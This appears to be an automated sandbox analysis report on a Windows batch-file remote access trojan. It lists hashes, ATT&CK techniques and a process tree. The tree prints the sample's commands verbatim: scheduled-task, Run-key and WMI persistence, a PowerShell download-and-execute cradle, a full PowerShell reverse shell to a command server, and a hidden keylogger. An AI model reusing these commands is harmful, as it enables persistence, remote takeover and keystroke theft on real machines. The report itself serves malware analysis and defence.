e2891f402aaa078143a2dab28687ee09d07f8d4e020f5dc7584570f53884956d

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:25

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General

Target
rat_build_40620_014204.bat
Size 4KB
Sample260529-2b2jpsds8k
SHA256 e2891f402aaa078143a2dab28687ee09d07f8d4e020f5dc7584570f53884956d
MD5 e6bba386d56afa45e8f088dfec070c95
SHA1 51c964670ef62707826d4674d0591cbf8d163c5a
SHA512 b76121ebd3a36b8f24b46d4cb51a6b8b0d0c27b0fcf02adf89b8618d18aa970dfd847c9a4ee88301d36a89ba4c958bfdcfab1720d2eadd10435b5d558080b3e9
SSDEEP 96:0I8CW+ih3b7tpHFaQE19V9QIrBsCUwlbOLIaTulouVgEOaPciFgZk8mvlo17r:0t+ih3bDHEQkQyTOLIaTDuV1LciFgkH8
TLSH
T17BA1083393967120AAB03918DE723C645B2CD6FB1385CA8EEA8C8DC4075CF4790385EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_40620.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3560	powershell.exe
1324	powershell.exe
4752	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_40620 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_40620.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5116	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2108	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5656	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4688	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1324	powershell.exe
1324	powershell.exe
4752	powershell.exe
4752	powershell.exe
3560	powershell.exe
3560	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5408	WMIC.exe
Token: SeSecurityPrivilege	5408	WMIC.exe
Token: SeTakeOwnershipPrivilege	5408	WMIC.exe
Token: SeLoadDriverPrivilege	5408	WMIC.exe
Token: SeSystemProfilePrivilege	5408	WMIC.exe
Token: SeSystemtimePrivilege	5408	WMIC.exe
Token: SeProfSingleProcessPrivilege	5408	WMIC.exe
Token: SeIncBasePriorityPrivilege	5408	WMIC.exe
Token: SeCreatePagefilePrivilege	5408	WMIC.exe
Token: SeBackupPrivilege	5408	WMIC.exe
Token: SeRestorePrivilege	5408	WMIC.exe
Token: SeShutdownPrivilege	5408	WMIC.exe
Token: SeDebugPrivilege	5408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5408	WMIC.exe
Token: SeRemoteShutdownPrivilege	5408	WMIC.exe
Token: SeUndockPrivilege	5408	WMIC.exe
Token: SeManageVolumePrivilege	5408	WMIC.exe
Token: 33	5408	WMIC.exe
Token: 34	5408	WMIC.exe
Token: 35	5408	WMIC.exe
Token: 36	5408	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5408	WMIC.exe
Token: SeSecurityPrivilege	5408	WMIC.exe
Token: SeTakeOwnershipPrivilege	5408	WMIC.exe
Token: SeLoadDriverPrivilege	5408	WMIC.exe
Token: SeSystemProfilePrivilege	5408	WMIC.exe
Token: SeSystemtimePrivilege	5408	WMIC.exe
Token: SeProfSingleProcessPrivilege	5408	WMIC.exe
Token: SeIncBasePriorityPrivilege	5408	WMIC.exe
Token: SeCreatePagefilePrivilege	5408	WMIC.exe
Token: SeBackupPrivilege	5408	WMIC.exe
Token: SeRestorePrivilege	5408	WMIC.exe
Token: SeShutdownPrivilege	5408	WMIC.exe
Token: SeDebugPrivilege	5408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5408	WMIC.exe
Token: SeRemoteShutdownPrivilege	5408	WMIC.exe
Token: SeUndockPrivilege	5408	WMIC.exe
Token: SeManageVolumePrivilege	5408	WMIC.exe
Token: 33	5408	WMIC.exe
Token: 34	5408	WMIC.exe
Token: 35	5408	WMIC.exe
Token: 36	5408	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1116	WMIC.exe
Token: SeSecurityPrivilege	1116	WMIC.exe
Token: SeTakeOwnershipPrivilege	1116	WMIC.exe
Token: SeLoadDriverPrivilege	1116	WMIC.exe
Token: SeSystemProfilePrivilege	1116	WMIC.exe
Token: SeSystemtimePrivilege	1116	WMIC.exe
Token: SeProfSingleProcessPrivilege	1116	WMIC.exe
Token: SeIncBasePriorityPrivilege	1116	WMIC.exe
Token: SeCreatePagefilePrivilege	1116	WMIC.exe
Token: SeBackupPrivilege	1116	WMIC.exe
Token: SeRestorePrivilege	1116	WMIC.exe
Token: SeShutdownPrivilege	1116	WMIC.exe
Token: SeDebugPrivilege	1116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1116	WMIC.exe
Token: SeRemoteShutdownPrivilege	1116	WMIC.exe
Token: SeUndockPrivilege	1116	WMIC.exe
Token: SeManageVolumePrivilege	1116	WMIC.exe
Token: 33	1116	WMIC.exe
Token: 34	1116	WMIC.exe
Token: 35	1116	WMIC.exe
Token: 36	1116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1116	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5156 wrote to memory of 4688	5156	cmd.exe	82
PID 5156 wrote to memory of 5656	5156	cmd.exe	83
PID 5156 wrote to memory of 5408	5156	cmd.exe	84
PID 5156 wrote to memory of 1116	5156	cmd.exe	85
PID 5156 wrote to memory of 6096	5156	cmd.exe	86
PID 5156 wrote to memory of 2108	5156	cmd.exe	87
PID 5156 wrote to memory of 5116	5156	cmd.exe	91
PID 5156 wrote to memory of 1324	5156	cmd.exe	92
PID 5156 wrote to memory of 4752	5156	cmd.exe	93
PID 5156 wrote to memory of 3560	5156	cmd.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_40620_014204.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5156
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_40620" /tr "C:\Users\Admin\AppData\Local\Temp\_40620.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4688
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_40620" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_40620.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5656
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_40620", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5408
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_40620", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_40620.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_40620.txt
  2⤵
  PID:6096
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2108
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_40620.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1c7222766e57b54b03062d6c6bf4357a203a9c4f1921eb64145f22f6387b09d5
MD5 f7fda2e5b04fabe7217e5eef00e724ba
SHA1 a1334b5d7680f6e6c63f4097d87cab9a90f31b10
SHA512 d62f1dd7759cc73f62e37c8281e4d8a43c139a06fe45ae501997c97577b34650c92dfc05ecc73ee383e4503b6e86d45d3ac7c0890d35f8ec7c2683e53b083363
TLSH
T17411BA33F39CC574C8D5117A108DAD01B1B1C3DB009EDECB7A84C408E57F58ADBA41A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wwckys2y.qha.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wwckys2y.qha.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1324-9-0x000001BE7A4C0000-0x000001BE7A4E2000-memory.dmp

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